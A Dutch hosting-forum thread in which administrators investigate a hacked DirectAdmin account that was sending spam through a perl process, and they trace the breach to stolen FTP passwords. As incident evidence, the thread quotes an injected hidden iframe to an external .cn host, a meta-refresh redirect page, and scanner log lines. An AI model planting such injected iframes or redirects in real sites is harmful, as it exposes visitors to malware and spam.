Bekijk Volledige Versie : Hack op leeg account?
Eergisteren een account suspended omdat het gehacked was, men zag kans om er tigtallen mails via te versturen.
Account leeg gemaakt, later op de dag lukte het weer, dus account compleet gewist en opnieuw aangemaakt.
Het enige wat er in stond is een index.html die je te zien krijgt bij aanmaak van een nieuw account in Directadmin.
Daar had men op een of andere wijze een iframe in weten te zetten die iets van een andere site opriep. Dat stuk heb ik gewist dus kan niet meer zeggen wat het was.
Wel kreeg ik van CSF de melding dat er een vaag script aan het lopen was genaamd jxocyb.pl. En ja hoor, het mailen was weer bezig.
Een ps -faux leerde me het volgende:
accountnaam 19827 2.7 0.5 7408 5568 ? Ss Jun27 0:58 jxocyb.pl
accountnaam 19828 1.3 0.5 7152 5320 ? Ss Jun27 0:29 jxocyb.pl
accountnaam 19829 1.6 0.5 7124 5344 ? Ss Jun27 0:35 jxocyb.pl
accountnaam 19830 1.4 0.5 7172 5412 ? Ss Jun27 0:31 jxocyb.pl
Op de hele server is er geen jxocyb.pl te vinden. De server is gisternacht nog geupdate met ./build update_versions. Daarbij werd o.a. php en phpmyadmin ook mee geupdate.
Waar zit er nu nog een bug in zodat ze die index.html hebben kunnen aanpassen en op welke wijze kan het dat ze onder de accountnaam van de user een perl script hebben kunnen starten? Van een compleet leeg nieuw aangemaakt account???
Ik wil de /usr/bin/perl wel chmodden, als dat maar geen problemen geeft met de ./build updates. Het gaat hier om een DA server met Debian.
Dit gaf CSF ook nog aan, maar daar kom ik niet echt wijs uit:
Memory maps by the process (if any):
08048000-08148000 r-xp 00000000 08:05 3133382 /usr/bin/perl
08148000-0814c000 rwxp 000ff000 08:05 3133382 /usr/bin/perl
0814c000-08506000 rwxp 0814c000 00:00 0 [heap]
b7cf3000-b7d02000 r-xp 00000000 08:05 9502748 /lib/tls/i686/cmov/libresolv-2.3.6.so
b7d02000-b7d04000 rwxp 0000f000 08:05 9502748 /lib/tls/i686/cmov/libresolv-2.3.6.so
b7d04000-b7d06000 rwxp b7d04000 00:00 0
b7d06000-b7d0a000 r-xp 00000000 08:05 9502737 /lib/tls/i686/cmov/libnss_dns-2.3.6.so
b7d0a000-b7d0c000 rwxp 00003000 08:05 9502737 /lib/tls/i686/cmov/libnss_dns-2.3.6.so
b7d0c000-b7d15000 r-xp 00000000 08:05 9502739 /lib/tls/i686/cmov/libnss_files-2.3.6.so
etc.
En dit vond ik nog in de suexec.log:
[2009-06-27 23:55:33]: uid: (1058/accountnaam) gid: (1055/accountnaam) cmd: jxocyb.pl
Check je tmp eens na welke rechten deze map of file heeft.
en controleer ook op brakke joomla en andere ranzige scripts.
rootkit hunter kan vaak al genoeg vinden.
Vreemd... terwijl ik bezig ben gaat het weer aan de gang, bij diezelfde user.
Opeens is er een directory q18jw5 in de public_html.
Daarin staat dan weer in 4rwbpt.html met de volgende inhoud:
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://rxnewcloud.com/?said=trio">
En nog een .htaccess met alleen daarin RewriteEngine On.
Misschien dat ze die niet af konden maken omdat ik de zaak in de gaten hield en de boel meteen weer op suspend gezet heb.
Verder zie ik bij een netstat -an veel van deze:
unix 3 [ ] STREAM CONNECTED 7056
unix 3 [ ] STREAM CONNECTED 7038
unix 3 [ ] STREAM CONNECTED 7037
unix 3 [ ] STREAM CONNECTED 7035
unix 3 [ ] STREAM CONNECTED 7034
unix 3 [ ] STREAM CONNECTED 7032
Duh... Tsjakka... oorzaak gevonden volgens mij:
ProFTPd [4877] ::ffff:75.144.194.185 [28/Jun/2009:01:06:41 +0200] "USER accountnaam" 331
ProFTPd [4877] ::ffff:75.144.194.185 [28/Jun/2009:01:06:41 +0200] "PASS (hidden)" 230
server:/var/log/proftpd#
En zo zie ik er verschillende.
Bug in proftpd?
@Phu: /tmp was clear, had ik al eerder eens beveiligd en check ik tegenwoordig altijd als eerste, daar gebeurt momenteel echt nauwelijks iets in.
Wat ik nu wel weer zie in /tmp zijn een tweetal apache sessies zoals deze (en die heb ik vaker gezien deze week):
rw------- 1 apache apache 41 2009-06-28 01:11 sess_50a9947ed190f7c168983aee01a92491
En dat heeft dan deze inhoud (heb ik ook vaker gezien):
Alpha|i:-1;Bravo|s:16:"IVEGOTNOPASSWORD";
Vaag, je voegt dus een account toe zonder password en ze verkrijgen toch op een of andere manier toegang tot dat account terwijl het eigenlijk niet mogelijk zou moeten zijn?
@Mikeh: Nee ik had het account compleet gewist en opnieuw aangemaakt, dus er waren nieuwe wachtwoorden.
Ik ben er uit volgens mij, na even zoeken.:)
Een domein op een server van een collega... eigenlijk nooit gebruikt behalve voor email door gebruiker blijkt geinfecteerd.
<iframe src="http://jumbobestrate.cn:8080/index.php" width=127 height=176 style="visibility: hidden"></iframe>
Mijn klant gebruikte daar een email adres van op mijn server voor de berichten. Daar gingen de nieuwe wachtwoorden naar toe dus dat verklaart vermoedelijk waarom de hackers het nieuwe ftp wachtwoord zo enorm snel hadden, zonder bruteforce.
Ik kwam er achter doordat er zo snel het nieuwe ftp wachtwoord gebruikt werd en omdat het maar bij 1 account telkens gebeurde.
Mijn klant heeft nu op de site zelf de index.html met die iframe weggegooid en wat blijkt.. nog geen minuut later is ie weer aangepast dus ook die server is gehacked.
Het kan verstandig zijn als betreffende collega zijn server ook even na kijkt want die is geheid ook gehacked. Dus die zal ik een email sturen.
imap ++ :D
Je hebt nog een PM van me tegoed zag ik :)
Een PM tegoed? Oh kan, weet ik al niet meer, dat zie ik dan vanzelf als ik hem tegen kom.:p
Betreffende hoster heeft inmiddels een spoedmailtje gekregen.
De collega's werken gelukkig ook in het weekend, net bericht gehad dat ze het probleem gefixed hebben en de server geupdate.
Ik heb wel eens dat ze je ftp en smtp verkeer sniffen in een brak netwerk (in je DC of bij je thuis of daartussen) of iets van dien aard. Dan kun je nieuwe passwords blijven maken, maar ze hebben ze meteen in handen. Het enige "voordeel" is dat je de "inbraak" netjes meteen in je log terugziet, meestal vanuit timboektoe.
Een bekende, tijdje niet gezien maar afgelopen week alweer drie keer. Kijk je FTP logs maar na en daar vind je hem. Geen hack dus. Er is een tijdje een wormpje geweest dat FTP-wachtwoorden bij eindgebruikertjes pikte. Ik denk dat hier een nieuwe variant op is gemaakt.
Tim.Bracquez
28/06/09, 20:12
Een bekende, tijdje niet gezien maar afgelopen week alweer drie keer. Kijk je FTP logs maar na en daar vind je hem. Geen hack dus. Er is een tijdje een wormpje geweest dat FTP-wachtwoorden bij eindgebruikertjes pikte. Ik denk dat hier een nieuwe variant op is gemaakt.
Komt terug veel voor. Dan volzetten met iframes (je herkent ze snel dus kan je er ook wat leuk op vinden) of met script welke dan rond spammen.
Trouwens mod_clamav op je ftp doet ook al wonderen!
Kijk je FTP logs maar na en daar vind je hem. Geen hack dus.
Ik vond er niets over in de ftp logs, misschien bij die collega dan. In de logs op de server was gewoon alleen de rechtstreekse ftp login te zien.
Het ftp wachtwoord ondervangen gebeurde dus elders waar de mail naar toe werd gestuurd.
De logins waren overigens inderdaad vanuit de US en vanuit Rusland. Of via aldaar gehackte servers want dat is ook een veelgebruikte methode.
Wel apart dat ze vrijwel alleen yahoo.com accounts aan het spammen waren.
Waarom laat je je klanten geen gebruik maken van scp en ssh keys ipv plaintext ftp programma's ?
Zou je veel trammelant voorkomen !
Waarom laat je je klanten geen gebruik maken van scp en ssh keys ipv plaintext ftp programma's ?
Zou je veel trammelant voorkomen !
Dat heet klant vriendelijkheid ;)
Zou je veel trammelant voorkomen !
En hoe dacht je dat voor je shared hosting klanten te faciliteren zonder dat er trammelant van komt?
Dat heet klant vriendelijkheid ;)
Zodat debielen die 5 char passwords gebruteforced kunnen worden ?
Hoe klantvriendelijk is dat tegenover "mede" klantjes ;)
En hoe dacht je dat voor je shared hosting klanten te faciliteren zonder dat er trammelant van komt?
Vrij simpel, laat ze een howto doorlopen hoe ze ssh keys + (win)scp moeten genereren en gebruiken.
Tim.Bracquez
29/06/09, 12:39
Zodat debielen die 5 char passwords gebruteforced kunnen worden ?
Hoe klantvriendelijk is dat tegenover "mede" klantjes ;)
Zoals Randy al zei, bruteforce wordt niet zoveel gedaan, gewoon een trojan die alles doorspeeld langs de klant hun zijde. Moet je gelijk ook je key login beperken per IP etc. Het is allemaal niet zo makkelijk en klantvriendelijk.
Een goede antivirus langs de klant hun zijde doet ook al wonderen, is zelfs makkelijker uit te leggen. Maar of dat het gaat tegen houden is ook iets anders...
je kan voor ftp (oa proftpd) ook prima mod_clamav draaien waarmee je dit soort scriptjes netjes tegen kan houden.
mikeh's angst voor brute-force is makkelijk te blokkeren met behulp van CSF/LFD of fail2ban
Vrij simpel, laat ze een howto doorlopen hoe ze ssh keys + (win)scp moeten genereren en gebruiken.
Dat is geen volledig antwoord op de vraag. Pak een willekeurige shared hosting linux bak en open daarop de ssh toegang voor al je users. Hoe ga je zorgen dat dat geen trammelant oplevert?
Er komt ook nog zoiets als "beslissingsrecht" bij kijken, als eigenaar dat onhandig vindt dat je klanten dingen moet gaan leren, dan gaat het niet door. Ik ben slechts reseller met onderhoudsfunktie.
Iemand hier nog ideeën over.
Alpha|i:-1;Bravo|s:16:"IVEGOTNOPASSWORD";
Dat is dus wat in die apache sessie files komt in de /tmp elke 10 minuten ofzo... Ik zie thans geen vreemde dingen meer in de logs.
Of wordt dat veroorzaakt door dit soort dingen?
[Mon Jun 29 15:10:03 2009] [error] [client 88.80.199.117] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23):
/w00tw00t.at.ISC.SANS.DFind:)
Daarnaast wil ik graag het gebruik van perl script door klanten uitschakelen, daarmee zou dat ook voorkomen moeten kunnen worden, toch. Daarvoor had ik perl gechmod, met als gevolg dat CSF niet meer wenst te werken, dus dat gaat al niet door helaas.
Daarnaast wil ik graag het gebruik van perl script door klanten uitschakelen, daarmee zou dat ook voorkomen moeten kunnen worden, toch. Daarvoor had ik perl gechmod, met als gevolg dat CSF niet meer wenst te werken, dus dat gaat al niet door helaas.
mod_perl uitschakelen?!
Ik denk dat als ik dat doe, er nog meer dingen meer niet gaan werken, toch?
Het perl script was nu gebruikt was, werd gestart onder de gebruiker zijn accountnaam. Is er geen optie dat je alleen kunt voorkomen dat de gebruiker het niet meer kan starten?
Want ik neem aan dat mod_perl nog meer doet dan alleen gebruikers gelegenheid geven om perl scripts te starten?
Zou het uitvinken van de cgi optie in de pakketten niet ook al dat resultaat teweeg brengen?